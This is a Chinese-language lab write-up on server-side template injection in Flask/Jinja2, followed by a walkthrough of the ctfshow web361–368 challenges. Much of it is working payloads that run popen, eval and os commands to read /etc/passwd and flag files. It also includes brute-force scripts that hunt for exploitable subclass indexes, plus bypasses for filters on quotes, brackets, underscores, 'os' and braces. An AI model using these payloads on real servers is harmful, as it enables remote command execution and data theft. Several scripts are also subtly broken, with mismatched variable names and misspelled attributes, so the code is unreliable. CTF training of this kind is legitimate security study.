实验室第十周任务
一、SSTI(服务器模板注入)
1、SSTI的概念
SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
SSTI和SQL注入原理差不多,都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。
SSTI就是服务器端模板注入(Server-Side Template Injection),SSTI也是注入类的漏洞,其成因其实是 可以类比于sql注入的。
sql注入是从用户获得一个输入,然后后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要 的sql语句,当然现在的sql注入 防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入 有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站 处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当 这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
现在网上提起的比较多的是Python的网站。
来看一个简单的例子:(写该代码前需要在pycharm上安装flask)
from flask import Flask from flask import render_template from flask import request from flask import render_template_string app = Flask(__name__) @app.route('/test',methods=['GET', 'POST']) def test(): template = ''' <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> ''' %(request.url) return render_template_string(template) if __name__ == '__main__': app.debug = True app.run()
这段代码是一个典型的SSTI漏洞示例,漏洞成因在于:render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{{}}在Jinja2中作为 变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。
2、SSTI引发的真正原因
render_template渲染函数的问题。ssti服务端模板注入,ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规 范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范 不严谨造成了模板注入漏洞,造成模板可控。
3、render_template渲染函数是什么
就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML 页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。
渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{undefined{}}在Jinja2中作为变量包裹 标识符,Jinja2在渲染的时候会把{undefined{}}包裹的内容当做变量解析替换。比如{undefined{1+1}} 会被解析成2。因此才有了现在的模板注入漏洞。往往变量我们使用{undefined{这里是内容}}。正因为 {undefined{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞。
4、模板引擎
首先我们先讲解一下什么是模板引擎,为什么需要模板。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提高了开发效率,良好的设计也使代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
模板只是一种提供给程序来解析的一种语法,换句话说,模板好是用于从数据(变量)到实际的视觉表现(HTML)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成html文本,返回给浏览器,这样做的好处是展示数据快,大大提升效率。
后端渲染:
浏览器会直接接收到经过服务器计算之后的呈现给用户的最终的HTML字符串,计算就是服 务器后端经过解析服务器端的模板来完成的,后端渲染的好处是对前端浏览器的压力较小,主要任务在 服务器端就已经完成。
前端渲染:
前端渲染相反,是浏览器从服务器得到信息,可能是json等数据包封装的数据,也可能是 html代码,他都是由浏览器前端来解析渲染成html的人们可视化的代码而呈现在用户面前,好处是对于 服务器后端压力较小,主要渲染在用户的客户端完成。
让我们用例子来简析模板渲染。
<html> <div>{$what}</div> </html>
我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者 cookie包含的信息,渲染到what变量里,呈现给用户的为
<html> <div>张三</div> </html>
当然这只是最简单的示例,一般来说,至少会提供分支,迭代。还有一些内置函数。
5、检测是否存在SSTI
在url后面,或是参数中添加 {{ 6*6 }} ,查看返回的页面中是否有36
6、注入的思想
用函数不断调用我们要使用的命令如:file、read、open、ls等等命令,我们用这些来读取写入配置文件
7、继承关系和魔术方法
继承关系
在程序中,继承描述的是多个类之间的所属关系。
如果一个类A里面的属性和方法可以复用,则可以通过继承的方式,传递到类B里。那么类A就是基类,也叫做父类;类B就是派生类,也叫做子类。
子类可以调用父类下的其他子类。
Python flask脚本没有办法直接执行python指令,所以就需要通过父类来找到其他的子类,让其他子类帮助执行指令。
object是父子关系的顶端,所有的数据类型最终的父类都是object。
例子如下:
继承关系: class A:pass //父类 class B(A):pass //B是A的一个子类 class C(B):pass //C是B的一个子类 class D(B):pass //D是B的另一个子类 c = C() //将C类变为一个对象 1.魔术方法:print(c.__class__) 结果: <class'__main__.C'> //当前类C 2.魔术方法:print(c.__class__.__bases__) 结果: <class'__main__.B'> //当前类B 3.魔术方法:print(c.__class__.__bases__.__bases__) 结果: <class'__main__.A'> //当前类A 4.魔术方法:print(c.__class__.__bases__.__bases__.__bases__) 结果: <class'object'> //顶端父类 5.魔术方法:print(c.__class__.__mro__) 结果: <(class'__main__.C'><class'__main__.B'><class'__main__.A'><class'object'>) //罗列所有父类关系 6.魔术方法:print(c.__class__.__mro__[1].__subclasses__()) //查看B类下所有子类 (0对应类C,1对应类B......) 结果: [<clsss'__main__.C'>,<class'__main__.D'>] //类B下的所有子类(数组形式) 7.魔术方法:print(c.__class__.__bases__.__subclasses__()[1]) 结果: <class'__main__.D'> //调用子类D
魔术方法
__class__ //查找当前类型的所属关系 __base__ //沿着父子类的关系往上一个走 __mro__ //查找当前类对象的所有继承类 __subclasses__() //查找父类下的所有子类 __init__ //查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载 __globals__ //函数会以字典的形式返回当前对象的全部全局变量
8、SSTI常用注入模块利用
1、文件读取
以下为一个例子,要根据具体情况改变要查询的内容:
1.查找子类_frozen_importlib_external.FileLoader: <class'_frozen_importlib_external.FileLoader'> 2.FileLoader的利用: ["get_data"](0,"/etc/passwd") //调用get_data方法,传入参数0和文件路径{{".__class__.__mro__[1].__subclass__()[79]["get_data"](0,"/etc/passwd")}} 3.读取配置文件下的FLAG: {{url_for.__globals__['current_app'].config.FLAG}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
python脚本 POST提交“name"的值,通过for循环查找所需字符串 import requests url = input('请输入URL链接:') for i in range(500): data = {"name":"{{().__class__.__bases__.__subclasses__()["+str(i)+"]}}"}//name是变量参数,要根据实际情况而改动 try: respnse = requests.post(url,data=data) #print(response.txt) if response.status_code == 200: if'_frozen_importlib_external.FileLoader'in response.text: print(i) except: pass
2、内建函数eval执行命令
内建函数:python在执行脚本时自动加载的函数
以下为一个例子,要根据具体情况改变要查询的内容:
{{".__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__('os').popen("cat /etc/passwd").read()')}} __builtins__提供对Python的所有“内置”标识符的直接访问 eval()计算字符表达式的值 __import__加载os模块 popen()执行一个shell以运行命令来开启一个进程,执行cat /etc/passwd
python脚本查看可利用内建函数eval的模块: import requests url = input('请输入URL链接:') for i in range(500): data = {"name":"{{().__class__.__bases__.__subclasses__(["+str(i)+"].__init__.__globals__['__builtins__']}}"} try: respnse = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'eval'in response.text: print(i) except: pass
3、os模块执行命令
以下为一个例子,要根据具体情况改变要查询的内容:
在其他函数中直接调用os模块: 1.通过config调用os: {{config.__class__.__init__.globals__['os'].popen('whoami').read()}} 2.用过url_for调用os: {{url_for.__globals__.os.popen('whoami').read()}} 3.在已加载os模块的子类里直接调用os模块: {{.__class__.__bases__[0].__subclass__()[199].__init__.__globlas__['os'].popen("ls -l/opt").read()}}
python脚本查找已经加载os模块的子类 import requests url = input('请输入URL链接:') for i in range(500): data = {"name":"{{().__class__.__basess__.__subclasses__()["+str(i)+"].__init__.__globals__}}"} try: respnse = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'os.py'in response.text: print(i) except: pass
4、importlib类执行命令
可以加载第三方库,使用load_module加载os
以下为一个例子,要根据具体情况改变要查询的内容:
{{[].__class__.__bases__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l/opt").read()}}
python脚本查找_frozen_importlib.Builtinlmporter import requests url = input('请输入URL链接:') for i in range(500): data = {"name":"{{().__class__.__bases__.__subclasses__()["+str(i)+"]}}"} try: respnse = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'_frozen_importlib.Builtinlmporter'in response.text: print(i) except: pass
5、linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数也引入了os模块,所以我们也可以利用这个linecache函数去执行命令
{{[].__class__.__bases__.__subclasses__()[1].__init__.__globals__['linecache']['os'].popen("ls -l/").read()}}
python脚本查找linecache import requests url = input('请输入URL链接:') for i in range(500): data = {"name":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"} try: respnse = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'linecache'in response.text: print(i) except: pass
6、subprocess.Popen类执行命令
{{[].__class__.__base__.__subclasses__()[200]('ls/',shell=True,stdout=-1).communicate()[0].strip}}
python脚本查找subprocess.Popen import requests url = input('请输入URL链接:') for i in range(500): data = {"name":"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"} try: respnse = requests.post(url,data=data) #print(response.text) if response.status_code == 200: if'subprocess.Popen'in response.text: print(i) except: pass
9、绕过方法
1、绕过过滤双大括号
{% %}是属于flask的控制语句,且以{% end... %}结尾,可以通过在控制语句定义变量或者写循环,判断。
2、无回显ssti
1.反弹shell
通过rec反弹一个shell出来绕过无回显的页面
2.带外注入
通过requestbin或dnslog的方式将信息传到外界
3.纯盲注
3、绕过过滤中括号
getitem()是python的一个魔术方法
对字典使用时,传入字符串,返回字典相应键所对应的值;
当对列表使用时,传入整数返回列表对应索引的值。
4、绕过单双引号过滤
request在flask中可以访问基于HTTP请求传递的所有信息
此request并非python的函数,而是在flask内部的函数
request.args.key 获取get传入的key的值 request.values.x1 所有参数 request.cookies 获取cookies传入参数 request.headers 获取请求头请求参数 request.form.key 获取post传入参数 request.data 获取post传入参数 request.json 获取post传入json参数
5、过滤器绕过下划线过滤
flask常用过滤器:
length() 获取一个序列或者字典的长度并将其返回 int() 将值转换为int类型 float() 将值转换为float类型 lower() 将字符串转化为小写 upper() 将字符串转化为大写 reverse() 反转字符串 replace(value,old,new) 将value中的old替换为new list() 将变量转换为列表类型 string() 将变量转换成字符串类型 join() 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用 attr() 获取对象的属性
6、中括号绕过点过滤
python语法除了可以使用'.'在访问对象属性外,还可以使用'[]'。
7、关键字过滤
过滤了"class","arg","from","value","int","global"等关键字
以"class"为例:
1.字符编码 2.最简单的拼接“+”:'__cl'+'ass__' 3.使用jinja2中的'~'进行拼接:{%set a="__cla%"}{%set b="ss__"%} 4.使用过滤器(reverse反转,replace替换,join拼接等)
8、获取config文件
二、ctfshow web入门 ssti
web-361(无过滤)
本关提示”名字就是题目“,并且本关一开始并没有给参数名称,所以根据提示我们可以猜想参数名称是name,来尝试一下
输入?name=word后发现页面返回了word,说明参数名称是name正确
之后来判断是否存在ssti,输入:
?name={{6*6}}
发现页面返回的是36而不是{{6*6}},说明存在ssti漏洞
接下来就是ssti常规流程了
获取内置类所对应的类:
?name={{''.__class__}}
获取object基类
?name={{''.__class__.__base__}}
获取所有子类
?name={{''.__class__.__base__.__subclasses__()}}
我们以子类是否存在popen方法为例: 脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’
在pycharm创建脚本:
import requests for num in range(500): try: url = "http://088a81a3-eb70-458a-8289-303fa161093b.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[" + str( num) + "].__init__.__globals__['popen']}}" res = requests.get(url=url).text if 'popen' in res: print(num) except: pass
成功得到索引值
接下来执行shell命令
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
发现其中有一个名为flag的文件,那么我们查询这个flag文件即可。
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
得到flag
当然不止这一种payload:
#寻找 popen 函数执行命令 ?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} #寻找内建函数 eval 执行命令 ?name={{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}} #寻找内建函数 eval 执行命令 ?name={{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} #寻找 os 模块执行命令 ?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }} ?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %} ?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
web-362(数字过滤)
随便输入数字后发现页面返回值有问题,推测本题将数字过滤掉了
对于数字过滤,我们可以尝试全角数字绕过:
全角:是一种电脑字符,是指一个全角字符占用两个标准字符(或两个半角字符)的位置。全角占两个字节。
下面是转换代码:
def half2full(half): full = '' for ch in half: if ord(ch) in range(33, 127): ch = chr(ord(ch) + 0xfee0) elif ord(ch) == 32: ch = chr(0x3000) else: pass full += ch return full t='' s="0123456789" for i in s: t+='\''+half2full(i)+'\',' print(t) 得到全角数字: '0','1','2','3','4','5','6','7','8','9'
之后的步骤就和web-361一样了,只需要将最后通过脚本得到的索引值更改为对应的全角数字即可。
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web-363(单双引号过滤)
本关过滤了单双引号,我们常用的方式是request绕过:
我们这里使用request.args.key
(这里的key可以理解为自定义的变量,名字可以任意设置,所以这段指令的意思就是将key中的GET传参显示出来,通过这样的方式便可以直接输出GET传参,从而实现绕过)
(当然其他的request指令也可以,但要注意输出的形式是否正确。如:request.form.key对应的是POST传参;request.cookies对应的是cookies)
通过构造带参数的url,配合request获取参数内容来组成想要提交的指令,从而绕过单双引号的使用。
常规的payload为:
?name={{config.__class__.__init__.__globals__['os'].popen('cat ../flag').read()}}
我们将带有单双引号的内容替换为request.args.GET参数名称即可,如下:
?name={{config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=cat
web-364(args过滤)
本关过滤了args,那么我们就可以使用request.values.a(可以接收所有形式的参数)或者request.cookies.a(接收cookie)
所以构造payload:
?name={{config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat ../flag
web-365(方括号过滤)
利用fuzz字典可以爆出本关共过滤了四种字符:'' "" [] args
首先单双引号和args上面已经讲过,我们可以用request.value.a或者request.cookies.a来绕过。
接下来我们就要考虑如何绕过[]了:引入getitem调用字典的键值,比如说a['b']就可以用a.getitem('b')来表示,成功绕过[]。
所以我们可以构造payload:
?name={{config.__class__.__init__.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}&a=os&b=cat ../flag
web-366(下划线绕过)
利用fuzz字典可以爆出本关共过滤了五种字符:'' "" [] args _
前四种字符的绕过和前置关卡一样,这里不过多赘述
如何绕过_:我们可以使用flask框架自带的attr过滤器。
attr用于获取变量,比如: ""|attr("__class__") 相当于 "".__class__
因此可以构建payload:
?name={{config|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d)(request.values.e).popen(request.values.f).read()}}&a=__class__&b=__init__&c=__globals__&d=__getitem__&e=os&f=cat ../flag
但是不知道为什么,这个payload得不到flag......
我们换一种方法:
lipsum.__globals__
中含有os模块
那我们可以构造payload:
?name={{(lipsum.__globals__).os.popen("cat ../flag").read()}}
将绕过方法加进去:
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat ../flag
web-367(os过滤)
利用fuzz字典可以爆出本关共过滤了六种字符:'' "" [] args _ os
基本和上一题的思路一致,只要将os更改为request即可
?name={{(lipsum|attr(request.values.a))|attr(request.values.b) .popen(request.values.c).read()}}&a=__globals__&b=os&c=cat ../flag
这里不知道为什么不能用|attr(request.values.b)代替.os,查教程也只说这里要用.get(request)。
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat ../flag
web-368(花括号过滤)
利用fuzz字典可以爆出本关共过滤了七种字符:'' "" [] args _ os {}
如何绕过{}:用{%print(......)%}
绕过
?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat ../flag